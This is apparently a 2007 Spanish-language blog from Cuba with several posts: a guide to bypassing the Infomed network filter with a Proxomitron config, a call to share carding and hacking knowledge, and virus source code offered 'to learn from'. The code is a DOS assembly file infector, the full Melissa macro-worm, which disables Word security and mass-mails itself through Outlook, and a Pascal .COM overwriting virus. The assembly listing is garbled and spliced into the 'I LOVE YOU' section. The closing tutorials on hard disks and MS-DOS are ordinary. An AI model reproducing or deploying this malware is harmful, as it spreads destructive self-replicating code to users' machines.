lunes, 19 de febrero de 2007

Proximitron

E.T.

Para muchos en el resto del mundo es un programa que evita ventanas popup, o que permite navegar anonimamente, entre otras opciones, pero para nosotros es el magico programa que convierte infomed en internet. Es el que se encarga de hacerle peticiones al servidor, peticiones que casi siempre (para no ser absolutos) son paginas de internet a la cual por otra vía no tenemos acceso.

Se piensa por muchos (incluyendome hasta hace poco), que el kit del proxomitron estaba en los números, es decir en los que forman la secuencia parecida a: xxx.xxx.xxx.xxx:3128, que mirandola bien es muy parecida en la sintaxis a un número IP, y no están equivocados, solo que este número IP no es todo.

En si el proxomitron es un programa que teniendo acceso a un servidor remoto por el puerto 3128, que es el utilizado por infomed, le hace peticiones a internet como si fuese el mismo servidor a través del puerto 8080, pero estas peticiones, en vez de dejarlas en el servidor, las remite directamente hacia nosotros, los usuarios. Da igual escribir, por ejemplo, 123.456.789.012:3128 que el nombre del servidor al cual responde la dirección IP marcada en negrita, estas dos cosas tendrian los mismos efectos.

Normalmente un servidor daria acceso a todo Internet, y limitaria solamente algunas paginas (piensen como capitalistas), pero infomed es al reves (piensen ahora como cubanos), restringe el acceso a todo, y solamente deja acceso a las paginas que contienen la cadena “.cu” u otras que se sepa que son “cubanas”. Un servidor de infomed, por ejemplo el 123.456.789.012, se da cuenta que poniendo cierta cadena de caracteres tras la dirección de cada pagina, puede tener acceso a internet, y lo que hace simplemente es que en el archivo de configuracion del proxomitron (default.cfg), manda a poner esta cadena, así se puede navegar.

En si, para utilizar el proxomitron, solo necesitariamos saber, cual el el nombre o la dirección IP del servidor que da acceso, y la cadena que esta usando. Puede darse el caso de que existan dos o más servidores que permitan el acceso a internet utilizando distintas cadenas, entonces tendriamos varios archivos de configuracion, cada uno con una cadena y un IP distinto. Cuando abrimos con un editor de texto el archivo default.cfg, vemos que casi al final dice algo similar a:

[HTTP headers]

In = TRUE

Out = TRUE

Key = "URL: proxy by pass"

Match = "(?(*\?*)$SET(2=\&)|$SET(2=\?))"

Replace = "$RDIR(\u\2bib.us.es/)"

Las cuatro primeras lineas no nos hace falta, y aclaro, digo esto porque no se que significa. La penultima, es la cadena que busca dentro de las direcciones de las paginas, y la ultima es la cadena que se reemplaza (se cae de la mata). Sabiendo esto, y conociendo que el número IP del servidor que la esta utilizando es 201.220.202.122, ya puedo decir que me deben 10 dolares (ja, ja, ja)

Pienso que todo este aclarado acerca del proxomitron. Para tener Internet no solo hace falta el número IP, o un proxomitron más nuevo, o 10 dolares mensuales, basta con tener la cadena de caracteres y que servidor la esta usando, no hace falta enviarse por correo casi 500 kb de informacion, basta con mandar 1 kb, incluso digo más, bastaria con enviar dentro del mismo correo la cadena de caracteres que cambio y el servidor que la esta usando, y gritar bien fuerte, I Have Internet. (Lo dije bien).

El conocimiento es algo invaluable, no me molesta que se intente vender, lo que me molesta es que simplemente valga 10 dólares. Saber no tiene precio, y como no tiene precio, no se puede pagar, y si no se puede pagar, ¿Por qué no hacerlo gratuito?

Si alguien tiene algo que decir o aclarar no duden el escribirme, me gustaría saber algo más del tema, me gustaría que si alguien tiene algo que decir, si tiene algo que opinar, si sabe de cosas que no se hayan escrito aquí, me enseñara, yo siempre quiero aprender. Y recuerden que:

Dos cabezas piensan más que una…

Tres cabezas piensan más que dos…

Cuatro cabezas piensan más que tres…

Cabeza(n) piensan más que cabeza(n-1) para N que tiende a infinito.

Continuar leyendo

Invitación

E.T.

Es mi pensar que en Cuba aún se esta desarrollando en toda esta temática acerca del hackeo, crackeo y asuntos de ese tipo. En muchos países estos temas son algo cotidiano. Es verdad que nosotros no tenemos muchos recursos económicos, la inmensa mayoría de las personas carecen de internet, y muy pocos tienen algún otro medio de comunicación a través de un PC.

Sin embargo, se y conozco de personas que tienen conocimiento suficiente sobre ciertas tematicas, y que sólo les falta unión y cooperación entre si. Bastaría con entrar a uno de los foros, por ejemplo el vanguardia, y ver las respuestas que allí se muestran, es verdad que no podemos compararlas con las respuestas de otros países, pero tampoco creo que estemos muy por debajo.

Para saber algo de computación solo es necesario un PC, interés y varias madrugadas. Pienso que es hora desde hace rato de que se formen grupos, que se compita, que se estimule el conocimiento. Es hora de que empecemos a hacer valer nuestro criterio, es hora de que dejemos de pensar en el último NFS, o en el FIFA que salió la semana pasada, e invirtamos nuestro tiempo en saber, en mejorar nuestras técnicas, en escribir nuevos códigos. Basta ya de individualismo, de aislamiento, de separación. Si tienes dudas preguntale al vecino, si no sabes escribir un “hola mundo”, busca ayuda o por lo menos, lee un libro, superémonos, hagámonos fuertes, no nos sirve de nada andar por la vida viviendo del código ajeno, tratando de cazar en la red programas que realmente no sabemos para que sirven, y sólo lo utilizamos para decir “tengo el último …“.

Hago mediante este medio un llamado a todas aquellas personas que sepan o tengan algún conocimiento acerca del carding y prehacking, cracking, o lo que sea, a colaborar, a compartir información, pienso que son temáticas importantes y de mucho interés, y siempre va a haber allá afuera una mente despierta que quiere saber, un cerebro atento esperando respuestas, nadie sabe a quien ayuda, hoy puedes ser tu quien le explique a un novato que en C++ se escribe “;”, pero mañana puede ser ese novato quien te arregle el monitor.

Continuar leyendo

Estudio básico de los virus

P-Drok-Array

Los Virus pueden ser escritos practicamente en cualquier lenguaje de programación. A pesar de que son más efectivos los virus que estan escritos en Lenguaje Ensamblador ;)

Muchos de ustedes piensan que los virus no pueden ser escritos en Basic debido a que está limitado. Esto es falso. Basic tiene la capacidad de producir buenos y efectivos Virus mientras este sea correctamente usado. La combinacion de Ensamblador y Basic podría crear unos espectaculares virus.

Hay que denotar que en el mercado hay muchos lenguajes de programación (Basic, Los Visual, Assembler, Pascal, Los Turbos, Etc.), y que actualmente los mas nombrados estan hechos en Visual Basic (Melissa, I Love You), ya que estos lenguajes son faciles para trabajar y cualquier persona aprenderia rapido (Me acuerdo de mis tiempos, donde programabamos en Assembler en arquitecturas Z80 y 8088].

En este articulo, quieremos examinar algunos virus escritos en Assembler, Pascal, Basic y Batch.

Empezamos ahora .... pero por favor (es por tu bien) no juegues con estos bichitos.

-= [ Virus en Lenguaje Ensamblador ] =-

Muchos virus estan escritos en lenguaje ensamblador porque este es el unico que tiene la habilidad de desviar la operatividad de un Sistema Operativo. Aqui hay un ejemplo, escrito para el MS-DOS y puede ser obviamente compilado.

;========================================================================

; Virus Programa

; Version 1.1

; Escrito por : R. Burger

; Creado: 19xx

; Este es un programa demostracion para virus de computadora. Este tiene la habilidad de remplazarse el mismo. y por esa razon modifica otros programas. Enjoy.

;========================================================================

Code Segment

Assume CS:Code

progr equ 100h

ORG progr

MAIN:

nop

nop

nop

;====================================================

; Inicializando los Punteros

;====================================================

mov ax,00

mov es:[pointer],ax

mov es:[counter],ax

mov es:[disks],al

;====================================================

; Obtiene el Controlador Seleccionado

;====================================================

mov ah,19h ;drive?

int 21h

;======================================================================

; Obtiene el flujo de la trayectoria en el mecanismo actual

;======================================================================

mov cs:drive,al ;guardar drive

mov ah,47h ;dir?

mov dh,0

add al,1

mov dl,al ;en el actual drive

lea si,cs:old_path ;

int 21h

;========================================================================

;Obtiene el numero de controladores presentes. Si hay solo uno, el puntero para el ordenamiento de busqueda constituira la configuracion del orden + 6

;========================================================================

mov as,0eh ;cuantos diskos

mov dl,0 ;

int 21h

mov al,01

cmp al,01 ;un solo drive

jnz hups3

mov al,06

hups3: mov ah,0

lea bx,search_order

add bx,ax

add bx,0001h

mov cs:pointer,bx

clc

;========================================================================

; Carga la configuracion, Si no encuentra mas .COM's. Entonces, se evita un trabaja innecesario, los archivos .EXE seran renombrados a archivos .COM y seran infectados. Esto causa un mensaje de Error "Program to large to fit memory" cuando carga la infeccion en los programas EXE.

;=========================================================================

change_disk:

jnc no_name_change

mov ah,17h ;cambia .EXE por .COM

lea dx,cs:maske_exe

int 21h

cmp al,0ffh

jnz no_name_change ;encontro .EXE?

;========================================================================

; Si no encuentra .COM o .EXE , entonces los sectores

; seran sobre-escribidos dependiendo al tiempo del system

; [en milisegundos]. En este tiempo se completara la infeccion

; en medios de almacenamientos. Y se inicia la infeccion

;========================================================================

mov ah,2ch ; lee el reloj del sistema

int 21h

mov bx,cs:pointer

mov al,cs:[bx]

mov bx,dx

mov cx,2

mov dh,0

int 26h

;==================================================================

; Chequea si es el fin de la busqueda ordenada en las tablas

;==================================================================

no_name_change:

mov bx,cs:pointer

dec bx

mov cs:pointer,bx

mov dl,cs:[bx]

cmp dl,0ffh

jnz hups2

jmp hops

;========================================================================

; Obtiene el nuevo controlador desde la busqueda ordenada en la tabla

; y selecciona este .

;=========================================================================

hups2:

mov ah,0eh

int 21h ;cambia el disko

;====================================================

; Inicia en el directorio raiz

;====================================================

mov ah,3bh ;cambia la ruta

lea dx,path

int 21h

jmp find_first_file

;====================================================

; Inicia desde el directorio raiz la busqueda

; para el primer subdirectorio.

; Primero convierte los archivos .EXE a .COM

; en un viejo directorio

;====================================================

find_first_subdir:

mov ah,17h ;cambia .exe por .com

lea dx,cs:maske_exe

int 21h

mov ah,3bh ;usa el directorio raiz

lea dx,path

int 21h

mov ah,04eh ;busca el primer directorio

mov cx,00010001b ;

lea dx,maske_dir ;

int 21h ;

jc change_disk

mov bx,CS:counter

INC,BX

DEC bx

jz use_next_subdir

;====================================================================

; Busca en el proximo Subdirectorio. Si no encuentra mas directorios, el controlador sera cambiado.

;====================================================================

find_next_subdir:

mov ah,4fh ; busca en el siguiente subdirectorio

int 21h

jc change_disk

dec bx

jnz find_next_subdir

;===================================================

; Selecciona el directorio hallado

====================================================

use_next_subdir:

mov ah,2fh ;

int 21h

add bx,1ch

mov es:[bx],'\` ;

inc bx

push ds

mov ax,es

mov ds,ax

mov dx,bx

mov ah,3bh ;cambia la ruta

int 21h

pop ds

mov bx,cs:counter

inc bx

mov CS:counter,bx

;==============================================================

; Busca primero archivos .COM en el directorio actual. Si no hay ninguno, busca en el proximo directorio.

;==============================================================

find_first_file:

mov ah,04eh ;Busca primero

mov cx,00000001b ;mascara

lea dx,maske_com ;

int 21h ;

jc find_first_subdir

jmp check_if_ill

;==============================================================

; Si el programa esta enfermo [infectado] entonces busca otro distinto..

;==============================================================

find_next_file:

mov ah,4fh ;busca la proxima

int 21h

jc find_first_subdir

;=============================================================

; Chequea si realmente esta infectado por el virus.

==============================================================

check_if_ill:

mov ah,3dh ;abre el canal

mov al,02h ;lee / escribe

mov dx,9eh ;

int 21

mov bx,ax ;guarda el canal

mov ah,3fh ; lee el archivo

mov ch,buflen ;

mov dx,buffer ;escribe en el buffer

int 21h

mov ah,3eh ;cierra el archivo

int 21h

mov bx,cs:[buffer]

cmp bx,9090h

jz find_next_file

;==============================================================

; HABILITA LA OPCION DE ESCRITURA ... MUY IMPORTANTE

;==============================================================

mov ah,43h ;hablita la escritura

mov al,0

mov dx,9eh ;

int 21h

mov ah,43h

mov al,01h

and cx,11111110b

int 21h

;===================================================

; Abre el archivo para lectura / escritura

====================================================

mov ah,3dh ;abre el canal

mov al,02h ;lee / escribe

mov dx,9eh ;

int 21h

;====================================================

; Lee la entrada de datos del programa y lo guarda para su futuro uso.

;====================================================

mov bx,ax ;canal

mov ah,57h ;obtiene la fecha

mov al.0

int 21h

push cx ;guarda la fecha

push dx

mov dx,cs:[conta] ;Abre el viejo jmp

mov cs:[jmpbuf],dx

mov dx,cs:[buffer+1] ;guarda el nuevo jump

lea cx,cont-100h

sub dx,cx

mov cs:[conta],dx

;====================================================

; Se empieza a reproducir.

;====================================================

mov ah,57h ;abre la fecha

mov al,1

pop dx

pop cx ;restaura la fecha

int 21h

;====================================================

; Cierra el archivo.

;====================================================

mov ah,3eh ;cierra el archivo

int 21h

=======

=Anexos

======= Aqui les dejo el codigo fuente en Visual Basic && VBScript de los dos

virus mas importantes en nuestra ultimos a~os, que son el MELISSA y

el I+LOVE+YOU, espero que los disfruten y que aprendan mucho de ellos,

ya que son virus muy interesantes [en la forma en que trabajan y sacan

la informacion].

-= MELISSA =-

<--------------------------- Aqui Empieza la Fiesta -------------------------->

Private Sub Document_Open[]

On Error Resume Next

If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level"] <> "" Then

CommandBars["Macro"].Controls["Security..."].Enabled = False

System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level"] = 1&

Else

CommandBars["Tools"].Controls["Macro"].Enabled = False

Options.ConfirmConversions = [1 - 1]: Options.VirusProtection = [1 - 1]: Options.SaveNormalPrompt = [1 - 1]

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject["Outlook.Application"]

Set DasMapiName = UngaDasOutlook.GetNameSpace["MAPI"]

If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists[y]

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem[0]

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries[x]

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-]"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item[1]

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item[1]

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines[1, 1] = ""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ["Private Sub Document_Close[]"]

Do While ADI1.CodeModule.Lines[BGN, 1] <> ""

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines[BGN, 1]

BGN = BGN + 1

Loop

End If

If DoAD = True Then

Do While NTI1.CodeModule.Lines[1, 1] = ""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ["Private Sub Document_Open[]"]

Do While NTI1.CodeModule.Lines[BGN, 1] <> ""

ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines[BGN, 1]

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And [InStr[1, ActiveDocument.Name, "Document"] = False] Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf [InStr[1, ActiveDocument.Name, "Document"] <> False] Then

ActiveDocument.Saved = True

End If

'WORD/Melissa written by Kwyjibo

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day[Now] = Minute[Now] Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub

<------------------------------ Aqui Termina --------------------------->

-= [ I LOVE YOU ] =-

<---------------------- Aqui empiezas a Enamorarte ---------------------->

rem barok -loveletter[vbe] <i hate go to school>

mov dx,cs:[jmpbuf] ;restituye el viejo jump

mov cs:[conta],dx

hops: nop

call use_old

;====================================================

; Continua con el programa anfitrion.

;====================================================

cont db 0e9h ;make jump

conta dw 0

mov ah,00

int 21h

;==============================================================

; Reactiva el controlador seleccionado y inicia el programa

;==============================================================

use_old:

mov ah,0eh ;usa el controlador viejo

mov dl,cs:drive

int 21h

;==============================================================

; Reactiva la ruta seleccionada y inicia el programa

;==============================================================

mov ah,3bh ;usa el viejo controlador

lea dx,old_path-1 ;obtiene la vieja ruta y el backslash

int 21h

ret

search_order db 0ffh,1,0,2,3,0ffh,00,offh

pointer dw 0000

counter dw 0000 ;

disks db 0 ;

maske_com db "*.com",00 ;

maske_dir db "*",00 ;

maske_exe db offh,0,0,0,0,0,00111111b

db 0,"????????exe",0,0,0,0

db 0,"????????com",0

maske_all db offh,0,0,0,0,0,00111111b

db 0,"???????????",0,0,0,0

db 0,"????????com",0

buffer equ 0e00h ;

buflen equ 230h ;

;

;

jmpbuf equ buffer+buflen ;

path db "\",0 ;

drive db 0 ;

back_slash db "\"

old_path db 32 dup [?] ;

code ends

end main

[ FIN DE ESTE VIRUS ]

 

-= [ Virus en Pascal ] =-

Pascal es otro lenguaje de alto nivel que puede producir que cualquier

computadora estalle ;) . A continuacion la descripcion de un virus en Pascal.

{

------------------------------------------------------------------

Number One

Please handle this virus with care!!!!!!!!!!! [Demostracion MORTIFERA]

Number One infects all .COM - file's name will be displayed

That file has been overwritten with Number Ones's program code and

is not reconstructible! If all files are infected or or no .COM

files are found, Number one gives you a <Smile>.

Files may be protected against infections of Number One by

setting the Read ONLY attribute.

Written 10.3.Xx by M.Vallen [Turbo Pascal 3.01A]

------------------------------------------------------ }

}

{C-}

{U-}

{I-}

{ -- Constantes --------------------------------------- }

Const

VirusSize = 12027;

Warning :String[42] {Mensaje de cuidado}

= 'This file has been infected ny Number One!';

{ -- Declaracion de los Type ------------------------------------- }

Type

DTARec =Record {Area de datos para la busqueda de archivos}

DOSnext :Array[1..21] of Byte;

Attr : Byte;

Ftime,

FDate,

FLsize,

FHsize : Integer;

FullName: Array[1..13] of Char;

End;

Registers = Record {Registra la configuracion usada para la busqueda de archivos }

Case Byte of

1 : [AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer];

2 : [AL,AH,BL,BH,CL,CH,DL,DH : Byte];

End;

{ -- Variables--------------------------------------------- }

Var

ProgramStart : Byte absolute Cseg:$100;

{ Marcador Infectado }

MarkInfected : String[42] absolute Cseg:$180;

Reg : Registers; { Registra la configuracion }

DTA : DTARec; { area de Datos }

Buffer : Array[Byte] of Byte; { Buffer de datos }

TestID : String[42]; { Identificacion de los archivos infectados}

UsePath : String[66]; { Ruta para la busqueda de archivos }

{ Longitud de la ruta para la busqueda }

UsePathLenght: Byte absolute UsePath;

Go : File; { Archivo a infectar }

B : Byte; { Usado }

{ -- Codigo de Programa ------------------------------------------ }

Begin

WriteLn[Warning]; { Pantalla del mensaje de Cuidado!!! }

GetDir[0, UsePath]; { obtiene la libreria actual}

if Pos['\', UsePath] <> UsePathLenght then

UsePath := UsePath + '\';

UsePath := UsePath + '*.COM'; { Define la mascara para la busqueda }

Reg.AH := $1A; { Configura el area de datos }

Reg.DS := Seg[DTA];

Reg.DX := Ofs[DTA];

MsDos[Reg];

UsePath[Succ[UsePathLenght]]:=#0;

Reg.AH := $4E;

Reg.DS := Seg[UsePath];

Reg.DX := Ofs[UsePath[1]];

Reg CX := $ff; { Configura los atributos para la busqueda de todos los archivos }

MsDos[Reg]; { Find first matching entry }

IF not Odd[Reg.Flags] Then { Si encuentra un archivo ... entonces }

Repeat

UsePath := DTA.FullName;

B := Pos[#0, UsePath];

If B > 0 then

Delete[UsePath, B, 255]; { Remueve la Basura }

Assign[Go, UsePath];

Reset[Go];

If IOresult = 0 Then { Si no ... error IO entonces }

Begin

BlockRead[Go, Buffer, 2];

Move[Buffer[$80], TestID, 43];

{ Comprueba si el archivo esta realmente esta Infectado }

If TestID <> Warning Then { Si no entonces ... }

Begin

Seek [Go, 0];

{ Etiqueta los archivos infectados y .. }

MarkInfected := Warning;

{ Lo Infecta ... heeee }

BlockWrite[Go,ProgramStart,Succ[VirusSize shr 7];

Close[Go];

{ Esta listo el Pollo ... jeje}

WriteLn[UsePath + 'infected.'];

Halt; {.. y DETIENE el programa}

End;

Close[Go];

End;

{ Los archivo ya han sido infectado, Busca el proximo. }

Reg.AH := $4F;

Reg.DS := Seg[DTA];

Reg.DX := Ofs[DTA];

MsDos[Reg];

{ ......................hasta que no encuentre mas archivos ....}

Until Odd[Red.Flags];

Write[`<Smile>']; {Busca algun amigo y dile que lo ejecute ;-] }

End.

Continuar leyendo

El disco duro (Parte 2)

Partes del disco duro

La estructura física de un disco es la siguiente: un disco duro se organiza en platos (PLATTERS), y en la superficie de cada una de sus dos caras existen pistas (TRACKS) concéntricas, como surcos de un disco de vinilo, y las pistas se dividen en sectores (SECTORS). El disco duro tiene una cabeza (HEAD) en cada lado de cada plato, y esta cabeza es movida por un motor servo cuando busca los datos almacenados en una pista y un sector concreto. El concepto "cilindro" (CYLINDER) es un parámetro de organización: el cilindro está formado por las pistas concéntricas de cada cara de cada plato que están situadas unas justo encima de las otras, de modo que la cabeza no tiene que moverse para acceder a las diferentes pistas de un mismo cilindro. En cuanto a organización lógica, cuando damos formato lógico (el físico, o a bajo nivel, viene hecho de fábrica y no es recomendable hacerlo de nuevo, excepto en casos excepcionales, pues podría dejar inutilizado el disco) lo que hacemos es agrupar los sectores en unidades de asignación (CLUSTERS) que es donde se almacenan los datos de manera organizada. Cada unidad de asignación sólo puede ser ocupado por un archivo (nunca dos diferentes), pero un archivo puede ocupar más de una unidad de asignación.

Funcionamiento deñ disco duro

Cuando usted o el software indica al sistema operativo a que deba leer o escribir a un archivo, el sistema operativo solicita que el controlador del disco duro traslade los cabezales de lectura/escritura a la tabla de asignación de archivos (FAT). El sistema operativo lee la FAT para determinar en qué punto comienza un archivo en el disco, o qué partes del disco están disponibles para guardar un nuevo archivo.

Los cabezales escriben datos en los platos al alinear partículas magnéticas sobre las superficies de éstos. Los cabezales leen datos al detectar las polaridades de las partículas que ya se han alineado.

Es posible guardar un solo archivo en racimos diferentes sobre varios platos, comenzando con el primer racimo disponible que se encuentra. Después de que el sistema operativo escribe un nuevo archivo en el disco, se graba una lista de todos los racimos del archivo en la FAT.

Un ordenador funciona al ritmo marcado por su componente más lento, y por eso un disco duro lento puede hacer que tu MAQUINA sea vencida en prestaciones por otro equipo menos equipado en cuanto a procesador y cantidad de memoria, pues de la velocidad del disco duro depende el tiempo necesario para cargar tus programas y para recuperar y almacenar tus datos.

Velocidad de Rotación (RPM)

Es la velocidad a la que gira el disco duro, más exactamente, la velocidad a la que giran el/los platos del disco, que es donde se almacenan magnéticamente los datos. La regla es: a mayor velocidad de rotación, más alta será la transferencia de datos, pero también mayor será el ruido y mayor será el calor generado por el disco duro. Se mide en número revoluciones por minuto ( RPM). No debe comprarse un disco duro IDE de menos de 5400RPM (ya hay discos IDE de 7200RPM), a menos que te lo den a un muy buen precio, ni un disco SCSI de menos de 7200RPM (los hay de 10.000RPM). Una velocidad de 5400RPM permitirá una transferencia entre 10MB y 16MB por segundo con los datos que están en la parte exterior del cilindro o plato, algo menos en el interior.

Tiempo de Acceso (Access Time)

Es el tiempo medio necesario que tarda la cabeza del disco en acceder a los datos que necesitamos. Realmente es la suma de varias velocidades:

  1. El tiempo que tarda el disco en cambiar de una cabeza a otra cuando busca datos.
  2. El tiempo que tarda la cabeza lectora en buscar la pista con los datos saltando de una a otra.
  3. El tiempo que tarda la cabeza en buscar el sector correcto dentro de la pista.

p>Es uno de los factores más importantes a la hora de escoger un disco duro. Cuando se oye hacer ligeros clicks al disco duro, es que está buscando los datos que le hemos pedido. Hoy en día en un disco moderno, lo normal son 10 milisegundos.

Memoria CACHE (Tamaño del BUFFER)

El BUFFER o CACHE es una memoria que va incluida en la controladora interna del disco duro, de modo que todos los datos que se leen y escriben a disco duro se almacenan primeramente en el buffer. La regla de mano aquí es 128kb-Menos de 1 Gb, 256kb-1Gb, 512kb-2Gb o mayores. Generalmente los discos traen 128Kb o 256Kb de cache.

Si un disco duro está bien organizado (si no, utilizar una utilidad desfragmentadora: DEFRAG, NORTON SPEEDISK, etc.), la serie de datos que se va a necesitar a continuación de una lectura estará situada en una posición físicamente contigua a la última lectura, por eso los discos duros almacenas en la caché los datos contiguos, para proporcionar un acceso más rápido sin tener que buscarlos. De ahí la conveniencia de desfragmentar el disco duro con cierta frecuencia.

El buffer es muy útil cuando se está grabando de un disco duro a un CD-ROM, pero en general, cuanto más grande mejor, pues contribuye de modo importante a la velocidad de búsqueda de datos.

Continuar leyendo

Curso de MS-DOS (Parte 2)

Manipulado de ficheros o archivos

A un fichero también se le puede llamar archivo, es básicamente, una recopilación de información etiquetada con un nombre que nosotros asignamos. El tipo de información puede ser muy variado: texto, gráficos, un programa..., y su tamaño se mide en bytes, con la limitación de no sobrepasar el espacio de la unidad de disco en que está contenido. Un fichero se identifica y caracteriza porque contiene un nombre con un extensión máxima e 8 caracteres, (el Windows95 mantiene otra filosofía) que no pueden estar separados por espacios en blanco, y una extensión (o tipo de archivo) de 3 caracteres, opcionales.

Ejemplo: Nombre y extensión de un fichero

Nombre completo TEXTOS_1.TXT

Nombre TEXTOS_1

Extensión .TXT

Observad que la extensión va separada del nombre del fichero por un punto y que siempre se encarga el programa de crearlo, a no ser que nosotros se lo indiquemos expresamente.

Tenéis que tener en cuenta estos puntos, cuando escribáis o deis nombre a un archivo:

No pueden existir dos nombres de fichero iguales (si los tenemos en carpetas diferentes sí).

No están permitidos los siguientes caracteres: , (coma), . (punto), : (dos puntos), / (barra inclinada), \ (barra invertida), “ (comillas), * (asterisco) al dar nombre a un fichero.

No les deis nombre que ya utilice el ordenador, es decir, nombres de archivos vitales que tiene el ordenador sin los cuales no funcionaría, por ejemplo: AUTOEXEC.BAT o CONFIG.SYS. Ya se que es un poco rebuscado de ponerle a un archivo estos nombres y extensiones exactamente. No caigáis en la tentación, porque las consecuencias podrías ser fatales.

Evita guardar archivos personales con las extensiones: COM,EXE o BAT.

Por último, un consejo: asignad el nombre que queráis a los archivos, pero tendréis menos problemas para conocerlos si les dais un nombre que sugiera o insinúe su contenido.

Visualizar el contenido de una unidad de disco

De la misma forma que un libro o revista tiene un índice, los discos también tienen, evidentemente de una forma diferente, pero con la misma finalidad, informar de un vistazo el contenido del mismo.

La función es sencilla, utiliza DIR para listar archivos.

NOTA: Sitúate en la unidad de la que quieres ver su listado de archivos.

Ejemplo: Visualizar el contenido de un disco

Escribe DIR

Pulsa Intro

Aparecerá un listado de archivos y carpetas, que contienen archivos en su interior, tamaño expresado en bytes, fecha, hora de última actualización (o edición), de la unidad a la que le hemos hecho el DIR.

Si el listado es muy largo (hay muchos archivos), veremos como la pantalla va muy rápida y no nos da tiempo a leerlo todo. Para remediar esto escribe el DIR seguido de /P.

Ejemplo: Listar archivos haciendo pausa

Escribe DIR /P

Pulsa Intro

Una vez la pantalla quede llena, os pedirá que pulséis cualquier tecla para continuar, y así hasta terminar listando todos los archivos y carpetas del disco. Esta función también se llama “srolling”.

También hay otra forma de presentar los archivos por pantalla, visualizándolos a lo ancho.

Ejemplo: Listar archivos a lo ancho

Escribe DIR /W

Pulsa Intro

Si no cabe en la pantalla, pasará lo mismo que en los casos anteriores, pero esto tiene solución si hacemos servir la función de pausa.

Ejemplo: Listar archivos a lo ancho con pausa

Escribe DIR /W /P

Pulsa Intro

Podéis identificar una carpeta si al hacer el DIR veis unos archivos que lleven a su parte derecha, en vez del tamaño, un nombre: <DIR>, esto significa que esta es una carpeta que contiene, posiblemente, más archivos en su interior.

Ordenar y mostrar el contenido de un directorio ordenado por algún tipo de criterio es, sin duda, una buena herramienta de trabajo.

Podemos utilizar las anteriores posibilidades haciendo servir, como habéis podido ver en el ejemplo, la barra inclinada, pero también funciona con los dos puntos. Podéis ampliar estas definiciones si escribís un DIR /?.

Ejemplo: Listar archivos ordenados de menor a mayor tamaño

Escribe DIR /O:S

Pulsa Intro

Los directorios son necesarios para una mejor organización de los discos. Fijaos que el disco duro de vuestro ordenador, al hacer un DIR hay, seguro, una carpeta con el nombre DOS (o un nombre parecido) que contiene todo el sistema operativo DOS.

Información de un fichero en concreto

Empleando la orden o función DIR podemos informarnos de un fichero en concreto, obteniendo la fecha, el tamaño, y la hora en que fue modificado o creado.

Ejemplo: Información de un fichero en concreto

Escribe DIR COMMAND.COM

Pulsa Intro

Aparecerá un mensaje informando de que esta presente. Si un fichero no lo encuentra, el DOS responderá: “No se encuentra el archivo”.

Los comodines

El DOS permite emplear comodines para poder buscar ficheros. Existen dos clases de comodines: el asterisco (*) y el símbolo de interrogación (?).

El asterisco substituye a un grupo de caracteres del nombre de un fichero, mientras que el símbolo de interrogación substituye a un solo carácter, situado en el mismo sitio.

Ejemplo: Utilidad de los comodines

Escribe DIR *.TXT

Pulsa Intro

Para listar todos los archivos que terminan con la extensión .TXT.

Escribe DIR AUTOEXE?.BAT

Pulsa Intro

Para listar todos los archivos que tengan la estructura idéntica a la extensión BAT, pero de los cuales no sabemos la última letra de su nombre.

Preparar un disquete para escribir información

Si introducimos un disquete virgen a la disquetera, e intentáis situaros para hacerle un dir, pueden pasar tres cosas:

Que haga el DIR y encontremos archivos (no muy común si el disquete es nuevo).

Que no haya nada al hacer el DIR.

Que salga un mensaje: “Fallo general leyendo unidad A – Anular, Repetir, Descartar?”. Eso quiere decir que el DOS no puede leer el disquete virgen, tenemos que darle un formato, para que el DOS lo reconozca como tal.

También puede pasar que el disquete esté en mal estado y el DOS no lo reconozca, en todo caso, el mensaje que nos podría dar es el 3º. Si tenéis el mensaje 3º. En la pantalla, para salir escribe la “A” de Anular y seguidamente escribe “C:” seguido de Intro (para volver al disco duro y cancelar la lectura de la unidad A).

